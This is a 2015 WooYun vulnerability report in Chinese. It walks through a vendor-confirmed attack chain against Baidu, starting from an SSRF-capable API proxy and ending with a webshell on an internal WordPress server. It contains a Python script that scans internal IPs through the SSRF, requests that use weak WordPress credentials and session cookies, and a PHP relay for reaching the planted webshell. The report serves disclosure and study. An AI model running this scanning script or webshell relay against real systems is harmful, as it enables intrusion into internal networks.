当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099070

漏洞标题:百度某个从SSRF到内网WebShell

相关厂商:百度

漏洞作者: Jannock

提交时间:2015-03-02 15:56

修复时间:2015-04-16 15:58

公开时间:2015-04-16 15:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-16: 细节向公众公开

简要描述:

所有故事从一个简单的SSRF说起。。。

详细说明:

1、某次发现一个SSRF
http://apistore.baidu.com/astore/toolshttpproxy

1.png


功能十分全,包括get post 什么的。
2、内网探测
首先从dns爆破中获取部分内网ip,然后写个脚本探测
探测脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import json
import traceback
import urllib

reload(sys)
sys.setdefaultencoding('utf8')
headers = {'cookie':'自己加上','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'}
for i in range(1, 255):
try:
print i
s = "172.22.1.%s" % (i)
conn = httplib.HTTPConnection('apistore.baidu.com')
conn.request(method='POST',
url="/astore/toolshttpproxysend",
body='reqMethod=GET&reqUrl=http%3A%2F%2F' + s +'&token=token',
headers=headers)
msg = conn.getresponse().read()
msg = json.loads(msg)
if msg["retMsg"] == "success":
print s
f = open('rrrr.txt','ab+')
f.write(s + '\r\n')
f.write( urllib.unquote(msg["retData"]["responseHeader"]).replace('<br/>','\r\n') + '\r\n')
f.write( urllib.unquote(msg["retData"]["responseBody"]).replace('<br/>','\r\n') + '\r\n\r\n')
f.close()
conn.close()
except:
print traceback.format_exc()
pass


探测结果:

3.png


4.png


其中有个 wordpress 程序引起我注意
http://172.22.1.19 (cdm.baidu.com)
3、wordpress 弱口令探测

5.png


弱口令结果还是比较多
wanglu admin
拿了一个测试下
先登陆 POST,再根据获取回来的cookie,加入到请求头中。
http://apistore.baidu.com/astore/toolshttpproxysend?
reqMethod=POST&reqUrl=http://172.22.1.19/wp-admin/&token=ae6e554399dd045278f4128312f13853&&reqHeaders[0][key]=Cookie&reqHeaders[0][value]=wc_session_cookie_534fc29aac95152772c55e78ddffb136=8fpvzWnjz76BNkvv4GJMrx1gvfVihDFS%7C%7C1425449844%7C%7C1425446244%7C%7C4bcc9f20e60d5905d3aaf9eda0c5fe28;woocommerce_items_in_cart=0;woocommerce_cart_hash=0;wordpress_test_cookie=WP+Cookie+check;wordpress_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7Cba1f72d7cd9660584197a34afaf1caf8;wordpress_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7Cba1f72d7cd9660584197a34afaf1caf8;wordpress_logged_in_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7C04c26a78d42c83cb884f52071d5c28c8;
成功查询到后台登陆成功后的 html。
后面就是简单的wordpress 拿shell,写模板。
这个过程比较麻烦,不过折腾下就可以成功。
4、连接webshell
为了方便操作,本地写了一个php的转发代理

<?php 
$webshell="http://apistore.baidu.com/astore/toolshttpproxysend";
$data['reqMethod']='POST';
$data['reqUrl']='http://172.22.1.19/wp-content/themes/salient-new/404.php';
$data['token']='ae6e554399dd045278f4128312f13853';
$i = 0;
foreach($_POST as $key => $value)
{
$data["reqBodyParams[$i][key]"]=$key;
$data["reqBodyParams[$i][value]"]= urlencode( $value );
$i++;
}
$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\nCookie: cookie\r\nX-Requested-With: XMLHttpRequest\r\nUser-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
$data = json_decode($html,true);
echo urldecode($data["retData"]["responseBody"]);
?>


过程完成,获取权限。

6.png


漏洞证明:

7.png


8.png

修复方案:

内网也要注意安全

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-03-02 21:23

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无